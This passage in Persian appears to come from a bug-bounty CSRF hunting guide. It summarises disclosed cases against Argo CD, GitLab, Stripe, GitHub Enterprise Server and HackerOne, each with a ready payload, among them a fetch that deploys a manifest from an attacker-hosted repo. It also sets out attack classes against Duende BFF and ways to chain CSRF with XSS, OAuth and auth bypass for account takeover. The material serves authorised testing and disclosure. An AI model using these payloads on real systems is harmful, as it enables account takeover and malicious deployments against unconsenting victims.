  • ‏‏Payload: میزبانی‌شده روی marketing.victim.com، تارگت argocd.internal.victim.com ← fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'})
  • ‏علت ریشه‌ای: Argo CD اعمال Content-Type: application/json نمی‌کرد، و SameSite=Lax وقتی مهاجم هر ساب‌دامین خواهرِ parent مشترک را کنترل کند بی‌معناست
  • ‏سال: ۲۰۲۳ گزارش شد، ژانویه ۲۰۲۴ در 2.7.16/2.8.8/2.9.4 فیکس شد
  1. ‏GitLab — CSRF روی /api/graphql از طریق mutationهای تبدیل‌شده‌به-GET (H1 #1122408)
  • ‏زیرکلاس: endpoint تغییردهنده‌ی state با GET (mutationهای GraphQL از طریق requestهای GET)
  • ‏‏Payload: <img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}">
  • ‏علت ریشه‌ای: بک‌اند وقتی متد HTTP برابر GET بود اعتبارسنجی X-CSRF-Token را رد می‌کرد؛ GraphQL مقدار mutation را از طریق query string مربوط به ?query=mutation{...} قبول می‌کرد
  • ‏سال: ۲۰۲۱ — ‏$3,370
  1. ‏Stripe Dashboard — غیرفعال‌شدن middleware مربوط به CSRF با تغییر کد (H1 #1483327)
  • ‏زیرکلاس: پیکربندی‌غلط فریم‌ورک — middleware به‌صورت سراسری غیرفعال شد
  • ‏‏Payload: <form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form> + اسکریپت auto-submit
  • ‏علت ریشه‌ای: دیپلوی ۲۰۲۲-۰۲-۱۴ نادانسته middleware مربوط به CSRF را در همه‌ی endpointهای Stripe Dashboard خاموش کرد
  • ‏سال: ۲۰۲۲ — ‏$5,000 ($2,500 × ۲ پژوهشگر)
  1. ‏GitHub Enterprise Server — دورزدن CSRF از طریق path traversal (CVE-2022-23732) (H1 #1497169)
  • ‏زیرکلاس: دورزدن اعتبارسنجی توکن CSRF (path traversal مقدار request را از چک توکن قاچاق می‌کند)
  • ‏‏Payload: <form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form>
  • ‏علت ریشه‌ای: router مسیر post-traversal را برای اجرا ولی مسیر pre-traversal را برای اسکوپ محافظت CSRF match می‌کرد، پس endpoint محافظت‌شده بدون توکن معتبر رسیده شد
  • ‏سال: ۲۰۲۲ — ‏$10,000
  1. ‏HackerOne خودش — CSRF روی پیوند اکانت اجتماعی ← ATO (H1 #1727221)
  • ‏زیرکلاس: CSRF مربوط به پیوند-اکانت (attach مربوط به provider اجتماعی بدون binding مربوط به state)
  • ‏‏Payload: <img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE"> — مرورگر قربانی فلوی پیوند آغازشده‌ی مهاجم را کامل می‌کند
  • ‏علت ریشه‌ای: توکن گره‌خورده به callback مربوط به OAuth-link یا میان تلاش‌ها دوباره استفاده می‌شد یا به کاربر گره نخورده بود، پس callbackهای link صادرشده‌ی مهاجم روی session قربانی قبول می‌شد — اکانت Google مهاجم مسیر لاگین معتبر می‌شود = ATO
  • ‏سال: ۲۰۲۲ — اسکوپ informational روی self-program مربوط به H1، ولی PoC عمومی
اسکیل‌های مرتبط:
۱۲

بخش تکمیلی

Duende BFF — Role-Partitioned Antiforgery (2024-2026 surface)
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏Duende BFF (جانشین تجاری IdentityServer4) کتابخانه‌ی canonical مربوط به BFF برای SPAهای ASP.NET Core است. primitive مربوط به antiforgery آن غیراستاندارد و به کاربر گره‌نخورده است: به‌جای توکن double-submit مربوط به ASP.NET Core که به‌ازای session/کاربر است، Duende فقط حضور هدر ثابت X-CSRF: 1 را روی هر endpoint مپ‌شده‌ی BFF می‌خواهد. مقدار هدر برای هر caller یکسان است؛ فقط برای اجبار preflight مربوط به CORS روی فراخوانی‌های میان‌origin وجود دارد. این دفاع CSRF را به «same-origin + حضور کوکی session» فرو می‌کاهد — و چند الگوی حمله‌ی متمایز تولید می‌کند وقتی یک BFF چند پارتیشن امتیازی سرو می‌کند.

‏مقدمه‌ی معماری: مرورگر↔BFF از طریق کوکی session مربوط به HttpOnly رمزشده احراز هویت می‌کند (پیش‌فرض .AspNetCore.Cookies)؛ BFF↔API از توکن‌های OAuth کش‌شده سمت‌سرور استفاده می‌کند. endpointهای ثبت‌شده از طریق MapBffManagementEndpoints / MapRemoteBffApiEndpoint / MapBffApiEndpoint مقدار X-CSRF: 1 و حضور session را اعمال می‌کنند — و هیچ‌چیز دیگر. (docs.duendesoftware.com/bff، Duende blog Mar 2025)

کلاس حمله ۱ — `X-CSRF: 1` به کاربر گره‌نخورده، پس replay میان‌نقشی same-origin موفق است

وقتی یک BFF پارتیشن‌های /admin/* و /user/* را سرو می‌کند، primitive مربوط به antiforgery نمی‌تواند نقش-A را از نقش-B تشخیص دهد. هر اسکریپت same-origin که بتواند XHR با X-CSRF: 1 و کوکی session قربانی بگذارد به endpointهای ادمین می‌رسد اگر قربانی نقش ادمین را داشته باشد. antiforgery استاندارد ASP.NET Core (که توکن را به HttpContext.User.Identity.Name گره می‌زند و هنگام تغییر هویت رد می‌کند) اینجا درست عمل می‌کند؛ Duende BFF نمی‌کند. (docs.duendesoftware.com/bff/fundamentals/options)

‏شکل Payload: از session کم‌امتیاز لاگین‌شده، fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}}) — موفق است اگر session قربانی اتفاقاً نقش ادمین را داشته باشد و مهاجم بتواند هر اسکریپت same-origin بگذارد (self-XSS، JS مربوط به subdomain-takeover، dependency-confusion).

کلاس حمله ۲ — معافیت SignalR/WebSocket (میان‌بر `/negotiate`)

‏WebSocketهای مرورگر نمی‌توانند هدر سفارشی بفرستند، پس X-CSRF: 1 روی upgrade قابل‌اعمال نیست. توسعه‌دهندگان معمولاً با معاف‌کردن مسیرهای hub مربوط به SignalR از antiforgery مربوط به BFF دورش می‌زنند (MapHub<X>().DisableAntiforgery() یا ثبت‌شان به‌عنوان endpoint غیر-BFF). وقتی معاف شد، هر origin مربوط به same-site (از جمله ساب‌دامین خواهر تسخیرشده یا صفحه‌ی stored-XSS) می‌تواند WS را با کوکی session آمبینت باز کند ← CSRF-روی-WebSocket برای فراخوانی متدهای hub که state را تغییر می‌دهند.

‏شکل Payload: صفحه‌ی میان‌origin مقدار new WebSocket("wss://bff.example.com/hubs/admin") را باز می‌کند — مرورگر کوکی session می‌فرستد، بدون نیاز به X-CSRF، مهاجم DeleteUser(id) را از طریق فریم JSON استاندارد SignalR صدا می‌زند. (DuendeArchive/Support#972، learn.microsoft.com/aspnet/core/signalr/security)

کلاس حمله ۳ — wildcardکردن دامنه‌ی کوکی، تسخیر ساب‌دامین را به session fixation تبدیل می‌کند

‏کوکی‌های session مربوط به BFF پیش‌فرض host-only‌اند، ولی توسعه‌دهندگان غالباً با options.Cookie.Domain = ".example.com" برای به‌اشتراک‌گذاری لاگین میان app.example.com و admin.example.com اورراید می‌کنند. این محافظت پیشوند __Host- را حذف می‌کند. legacy.example.com را تسخیر کن (CNAME به Heroku/S3 رها‌شده) ← Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com ست کن ← قربانی به app.example.com با session مهاجم می‌رسد = ATO مربوط به session-fixation. (nestenius.se BFF cookie hardening)

قوت شواهد

‏CVE مستقیم برای Duende.BFF تا ۲۰۲۶-۰۵ وجود ندارد. سه کلاس بالا رفتار سطح-طراحی / مستند هستند که وقتی با primitive هم‌محل جفت شوند (اجرای اسکریپت same-origin، معافیت SignalR، یا تسخیر ساب‌دامین) به یافته‌ی زنده تبدیل می‌شوند. شدت گزارش باید بیشتر روی تأثیر بیزینسی زنجیره تکیه کند تا استناد CVE. CVEهای تأییدشده‌ی مجاور در اکوسیستم Duende: CVE-2025-26620 (Duende.AccessTokenManagement).

۱۳

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۳ از ۱۳

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-xss — هر XSS روی origin مورداعتماد دفاع‌های CSRF (توکن، SameSite، چک Origin) را فوراً خنثی می‌کند. primitive زنجیره: XSS مقدار meta[name=csrf-token] را می‌خواند و با payload مهاجم same-origin-fetch به /accounts/email می‌زند ← ATO یک‌کلیکی از طریق postMessage صفحه‌ی مهاجم که XSS ذخیره‌شده را برای انجام تغییر state trigger می‌کند.
  • ‏‏hunt-auth-bypass — ترکیب CSRF با primitive مربوط به auth-bypass به اسکریپت‌های سمت-مهاجم اجازه‌ی انجام تغییرات state می‌دهد که باید step-up auth می‌خواستند. primitive زنجیره: CSRF روی /settings/password به endpointی می‌رسد که چک re-auth را رد می‌کند ← تغییر پسورد بدون اینکه قربانی اصلاً پسورد فعلی‌اش را وارد کند اجرا می‌شود ← ATO.
  • ‏‏hunt-oauth — state/RelayState مربوط به OAuth/SAML ساختاراً یک توکن CSRF است؛ نبود اعتبارسنجی اینجا CSRF مربوط به پیوند-اکانت است. primitive زنجیره: مهاجم روی اکانت خودش OAuth را شروع می‌کند، URL مربوط به /callback?code=X&state= را به قربانی می‌فرستد ← مرورگر لاگین‌شده‌ی قربانی پیوند را کامل می‌کند ← هویت اجتماعی مهاجم حالا اکانت قربانی را کنترل می‌کند.
  • ‏‏security-arsenal — قبل از نوشتن PoC از صفر، تمپلیت‌های PoC مربوط به CSRF را بردار (form POST، JSON با enctype=text/plain، iframe سندباکس‌شده‌ی null-origin، دورزدن multipart با base64)؛ و همچنین واریانت‌های هدر دورزدن WAF برای چک‌های Origin/Referer.
  • ‏‏triage-validation — گیت پیش-شدت را قبل از ارسال CSRF روی endpoint مربوط به logout یا هر اکشن بدون پیامد تغییر state اجرا کن — این‌ها تله‌های canonical مربوط به N/A هستند. تأیید کن قربانی چیز عینی از دست می‌دهد (دسترسی اکانت، پول، داده)، نه فقط «یک request اجرا شد».
مراحل استخراج‌شده
  1. ۱‏‏`hunt-xss` — هر XSS روی origin مورداعتماد دفاع‌های CSRF (توکن، SameSite، چک Origin) را فوراً خنثی می‌کند. primitive زنجیره: XSS مقدار `meta[name=csrf-token]` را می‌خواند و با payload مهاجم same-origin-fetch به `/accounts/email` می‌زند ← ATO یک‌کلیکی از طریق postMessage صفحه‌ی مهاجم که XSS ذخیره‌شده را برای انجام تغییر state trigger می‌کند.
  2. ۲‏‏`hunt-auth-bypass` — ترکیب CSRF با primitive مربوط به auth-bypass به اسکریپت‌های سمت-مهاجم اجازه‌ی انجام تغییرات state می‌دهد که باید step-up auth می‌خواستند. primitive زنجیره: CSRF روی `/settings/password` به endpointی می‌رسد که چک re-auth را رد می‌کند ← تغییر پسورد بدون اینکه قربانی اصلاً پسورد فعلی‌اش را وارد کند اجرا می‌شود ← ATO.
  3. ۳‏‏`hunt-oauth` — `state`/`RelayState` مربوط به OAuth/SAML ساختاراً یک توکن CSRF است؛ نبود اعتبارسنجی اینجا CSRF مربوط به پیوند-اکانت است. primitive زنجیره: مهاجم روی اکانت خودش OAuth را شروع می‌کند، URL مربوط به `/callback?code=X&state=` را به قربانی می‌فرستد ← مرورگر لاگین‌شده‌ی قربانی پیوند را کامل می‌کند ← هویت اجتماعی مهاجم حالا اکانت قربانی را کنترل می‌کند.
  4. ۴‏‏`security-arsenal` — قبل از نوشتن PoC از صفر، تمپلیت‌های PoC مربوط به CSRF را بردار (form POST، JSON با `enctype=text/plain`، iframe سندباکس‌شده‌ی null-origin، دورزدن multipart با base64)؛ و همچنین واریانت‌های هدر دورزدن WAF برای چک‌های Origin/Referer.
  5. ۵‏‏`triage-validation` — گیت پیش-شدت را قبل از ارسال CSRF روی endpoint مربوط به logout یا هر اکشن بدون پیامد تغییر state اجرا کن — این‌ها تله‌های canonical مربوط به N/A هستند. تأیید کن قربانی چیز عینی از دست می‌دهد (دسترسی اکانت، پول، داده)، نه فقط «یک request اجرا شد».